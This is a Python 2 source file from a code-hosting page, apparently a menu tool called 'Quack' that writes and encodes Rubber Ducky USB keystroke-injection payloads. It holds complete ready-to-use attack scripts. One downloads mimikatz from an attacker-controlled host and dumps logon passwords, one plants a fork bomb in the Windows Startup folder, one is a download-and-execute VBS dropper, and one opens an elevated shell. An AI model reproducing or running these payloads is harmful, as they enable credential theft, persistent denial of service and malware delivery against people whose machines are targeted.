-
Notifications
You must be signed in to change notification settings - Fork 7
/
Copy pathquack.py
345 lines (324 loc) · 9.97 KB
/
quack.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
############## Python Modules ##############
#!/usr/bin/python
import os, sys, platform
from time import sleep
import time
############### PAYLOADS ########################
fork = """CONTROL ESCAPE
DELAY 300
STRING cmd
DELAY 200
MENU
DELAY 100
STRING a
ENTER
DELAY 200
LEFT
ENTER
DELAY 1000
STRING cd %ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup\
ENTER
STRING copy con a.bat
ENTER
STRING @echo off
ENTER
STRING :START
ENTER
STRING start a.bat
ENTER
STRING GOTO START
ENTER
CONTROL z
ENTER
STRING a.bat
ENTER
ALT F4
"""
download = """DELAY 300
ESCAPE
CONTROL ESCAPE
DELAY 400
STRING cmd
DELAY 400
ENTER
DELAY 400
STRING copy con download.vbs
ENTER
STRING Set args = WScript.Arguments:a = split(args(0), "/")(UBound(split(args(0),"/")))
ENTER
STRING Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP"):objXMLHTTP.open "GET", args(0), false:objXMLHTTP.send()
ENTER
STRING If objXMLHTTP.Status = 200 Then
ENTER
STRING Set objADOStream = CreateObject("ADODB.Stream"):objADOStream.Open
ENTER
STRING objADOStream.Type = 1:objADOStream.Write objXMLHTTP.ResponseBody:objADOStream.Position = 0
ENTER
STRING Set objFSO = Createobject("Scripting.FileSystemObject"):If objFSO.Fileexists(a) Then objFSO.DeleteFile a
ENTER
STRING objADOStream.SaveToFile a:objADOStream.Close:Set objADOStream = Nothing
ENTER
STRING End if:Set objXMLHTTP = Nothing:Set objFSO = Nothing
ENTER
CTRL z
ENTER
STRING cscript download.vbs <INSERT URL HERE>
ENTER
STRING <INSERT EXE FILENAME HERE>
ENTER
STRING exit
ENTER
"""
helloworld = """DELAY 300
GUI r
DELAY 100
STRING notepad
ENTER
DELAY 100
STRING Hello World!!!
ENTER
"""
admin = """DELAY 1000
REM get a admin cmd prompt
CONTROL ESCAPE
DELAY 300
STRING cmd
DELAY 300
REM the admin part booyah
CTRL-SHIFT ENTER
DELAY 500
ALT y
DELAY 300
ENTER
"""
mimikatz = """REM mimikatz ducky script to dump local wdigest passwords from memory using mimikatz (local user needs to be an administrator/have admin privs)
DELAY 1000
CONTROL ESCAPE
DELAY 500
STRING cmd
DELAY 1000
CTRL-SHIFT ENTER
DELAY 1000
ALT y
DELAY 300
ENTER
STRING powershell (new-object System.Net.WebClient).DownloadFile('http://<replace me with webserver ip/host>/mimikatz.exe','%TEMP%\mimikatz.exe')
DELAY 300
ENTER
DELAY 3000
STRING %TEMP%\mimikatz.exe
DELAY 300
ENTER
DELAY 3000
STRING privilege::debug
DELAY 300
ENTER
DELAY 1000
STRING sekurlsa::logonPasswords full
DELAY 300
ENTER
DELAY 1000
STRING exit
DELAY 300
ENTER
DELAY 100
STRING del %TEMP%\mimikatz.exe
DELAY 300
ENTER
"""
############## Global Color Vars ##############
# Standard Colors
W = '\033[0m' # white (normal)
R = '\033[31m' # red
G = '\033[32m' # green
O = '\033[33m' # orange
B = '\033[34m' # blue
P = '\033[35m' # purple
C = '\033[36m' # cyan
LR = '\033[1;31m' # light red
LG = '\033[1;32m' # light green
LO = '\033[1;33m' # light orange
LB = '\033[1;34m' # light blue
LP = '\033[1;35m' # light purple
LC = '\033[1;36m' # light cyan
################# DEF MAINS ########################################
def help():
print """
Ducky Commands:
ALT [key name] (ex: ALT F4, ALT SPACE)
CTRL | CONTROL [key name] (ex: CTRL ESC)
CTRL-ALT [key name] (ex: CTRL-ALT DEL)
CTRL-SHIFT [key name] (ex: CTRL-SHIFT ESC)
DEFAULT_DELAY | DEFAULTDELAY [Time in millisecond * 10] (change the delay between each command)
DELAY [Time in millisecond * 10] (used to overide temporary the default delay)
GUI | WINDOWS [key name] (ex: GUI r, GUI l)
REM [anything] (used to comment your code, no obligation :) )
ALT-SHIFT (swap language)
SHIFT [key name] (ex: SHIFT DEL)
STRING [any character of your layout]
REPEAT [Number] (Repeat last instruction N times)
[key name] (anything in the keyboard.properties)
"""
def script():
print "Type your code here (hit ENTER to go to a new line) and when your done type DONE in all caps on a new line."
def scriptss():
scripts = raw_input(">")
while scripts != 'DONE':
FILE = open("ducky-custom.txt","a+")
FILE.write(scripts + "\n")
FILE.close()
scriptss()
if scripts == "DONE":
print "[*] Generated payload!"
FILE = open("ducky-custom.txt","a+")
for line in FILE.readlines():
cleaned_line = line.replace(scripts,"")
FILE.close()
if platform.system() == "Windows":
os.system("duckencoder.jar -i ducky-custom.txt -o ducky-custom.bin")
print "[*] Successfully encoded!"
elif platform.system() == "Linux":
os.system("java -jar duckencoder.jar -i ducky-custom.txt -o ducky-custom.bin")
print "[*] Successfully encoded!"
time.sleep(2)
sys.exit(1)
scriptss()
def encode():
print "Include .txt and .bin in file names"
encode = raw_input("[>] Text file to be encoded: ")
print "Remember, for the script to work, it has to be called inject.bin"
output = raw_input("[>] Output file: ")
if platform.system() == "Windows":
os.system("duckencoder.jar -i " + encode + " -o " + output)
print "[*] Successfully encoded!"
elif platform.system() == "Linux":
os.system("java -jar duckencoder.jar -i " + encode + " -o " + output)
print "[*] Successfully encoded!"
time.sleep(2)
def upload():
while True:
print ""
print "-------------------------------------------------"
print "[1] Mimikatz Cred Harvester"
print "Find passwords with mimkatz"
print "-------------------------------------------------"
print "[2] Simple Hello World"
print "Opens notepad and types Hello World!!!"
print "-------------------------------------------------"
print "[3] Fork Bomb (Win7) "
print "Makes and then executes a fork bomb"
print "-------------------------------------------------"
print "[4] Admin Command Prompt"
print "Opens an cmd in admin without the admin password"
print "-------------------------------------------------"
print "[5] Download a file"
print "Download and then execute a given .exe"
print "-------------------------------------------------"
print "[6] Exit"
print "Exit and go to the main menu"
print "-------------------------------------------------"
script = raw_input("[>] Which script: ")
if script == "1":
FILE = open("ducky-mimikatz.txt","a+")
FILE.write(mimikatz)
FILE.close()
print "[*] Generated payload!"
time.sleep(2)
if platform.system() == "Windows":
os.system("duckencoder.jar -i ducky-mimikatz.txt -o ducky-mimikatz.bin")
print "[*] Successfully encoded!"
elif platform.system() == "Linux":
os.system("java -jar duckencoder.jar -i ducky-mimikatz.txt -o ducky-mimikatz.bin")
print "[*] Successfully encoded!"
elif script == "2":
FILE = open("ducky-helloworld.txt","a+")
FILE.write(helloworld)
FILE.close()
print "[*] Generated payload!"
if platform.system() == "Windows":
os.system("duckencoder.jar -i ducky-helloworld.txt -o ducky-helloworld.bin")
print "[*] Successfully encoded!"
elif platform.system() == "Linux":
os.system("java -jar duckencoder.jar -i ducky-helloworld.txt -o ducky-helloworld.bin")
print "[*] Successfully encoded!"
elif script == "3":
FILE = open("ducky-fork.txt","a+")
FILE.write(fork)
FILE.close()
print "[*] Generated payload!"
if platform.system() == "Windows":
os.system("duckencoder.jar -i ducky-fork.txt -o ducky-fork.bin")
print "[*] Successfully encoded!"
elif platform.system() == "Linux":
os.system("java -jar duckencoder.jar -i ducky-fork.txt -o ducky-fork.bin")
print "[*] Successfully encoded!"
elif script == "4":
FILE = open("ducky-admin-cmd.txt","a+")
FILE.write(admin)
FILE.close()
print "[*] Generated payload!"
if platform.system() == "Windows":
os.system("duckencoder.jar -i ducky-admin-cmd.txt -o ducky-admin-cmd.bin")
print "[*] Successfully encoded!"
elif platform.system() == "Linux":
os.system("java -jar duckencoder.jar -i ducky-admin-cmd.txt -o ducky-admin-cmd.bin")
print "[*] Successfully encoded!"
elif script == "5":
FILE = open("ducky-download.txt","a+")
FILE.write(download)
FILE.close()
print "[*] Generated payload!"
if platform.system() == "Windows":
os.system("duckencoder.jar -i ducky-download.txt -o ducky-download.bin")
print "[*] Successfully encoded!"
elif platform.system() == "Linux":
os.system("java -jar duckencoder.jar -i ducky-download.txt -o ducky-download.bin")
print "[*] Successfully encoded!"
elif script == "6":
break
######################################################
header1 = """
..---..
.' _ `.
__..' (o) :
`..__ ;
`. /
; `..---...___
.' `~-. .-')
. ' _.'
: :
\ '
+ J
`._ _.'
`~--....___...---~'
"""
header2 = """
---------------------------
Welcome to Quack!
Where hacks come true!
---------------------------
Developed By: @_t0x1c
Thanks Hak5!
"""
########################### Main ###########################
while True:
print header1
print header2
print "====================================="
print "1. Download pre-made scripts"
print "2. Make Ducky script from scratch"
print "3. Encode a payload"
print "4. Help"
print "====================================="
main = raw_input("(>) Select Option: " )
if main == "1":
upload()
elif main == "2":
script()
elif main == "3":
encode()
elif main == "4":
help()
else:
print "Did not get that!"
continue